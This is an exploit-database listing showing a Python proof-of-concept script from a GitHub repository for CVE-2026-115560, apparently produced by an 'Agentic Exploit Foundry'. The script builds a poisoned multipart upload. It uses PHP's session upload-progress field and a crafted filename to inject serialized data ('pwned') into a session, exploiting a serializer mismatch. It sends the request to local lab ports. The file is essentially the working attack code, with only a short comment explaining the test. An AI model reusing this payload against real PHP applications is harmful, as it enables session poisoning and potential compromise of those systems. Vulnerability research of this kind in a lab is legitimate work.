Exploit database

GH-eda0204cf7b05a9e5ace4d69ebc177b7

basesixtythree/b63-poc-cve-2026-115560

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-115560

9 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
basesixtythree/b63-poc-cve-2026-115560Revision cbf4123a9208

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/probe_consistent.py

Python · 1,791 bytes
#!/usr/bin/env python3
# [b63] b63 // Agentic Exploit Foundry -- CVE-2026-115560
# Why the "consistent handler" twin is a causal negative, not a missing-gadget
# artifact: the SAME poisoned multipart request is sent to both profiles, and
# the application's own response is printed. On the vulnerable profile the
# record is written by one serializer and rejected by the other; on the
# consistent profile the record is written and read by php_binary, so the
# application happily lists the progress key -- the poison path ran, and only
# the cross-serializer confusion is missing.
import http.client
import sys

B = "----b63cons"
POISON = 'z|s:5:"pwned";'
POISON_HDR = POISON.replace('"', '\\"')


def body(progress_value: str) -> bytes:
    return (
        f"--{B}\r\n"
        'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
        f"{progress_value}\r\n"
        f"--{B}\r\n"
        f'Content-Disposition: form-data; name="f"; filename="{POISON_HDR}"\r\n'
        "Content-Type: text/plain\r\n\r\n"
        "BBBB\r\n"
        f"--{B}--\r\n"
    ).encode()


def probe(port: int) -> None:
    sid = f"b63cons{port}"
    data = body("b63")
    c = http.client.HTTPConnection("127.0.0.1", port, timeout=15)
    c.request(
        "POST",
        "/index.php",
        body=data,
        headers={
            "Cookie": f"PHPSESSID={sid}",
            "Content-Type": f"multipart/form-data; boundary={B}",
            "Content-Length": str(len(data)),
            "Connection": "close",
        },
    )
    r = c.getresponse()
    print(f"--- port {port} (app response) ---")
    print(r.read().decode("utf-8", "replace")[:900])
    c.close()


if __name__ == "__main__":
    for p in [int(x) for x in (sys.argv[1:] or ["18090", "18093"])]:
        probe(p)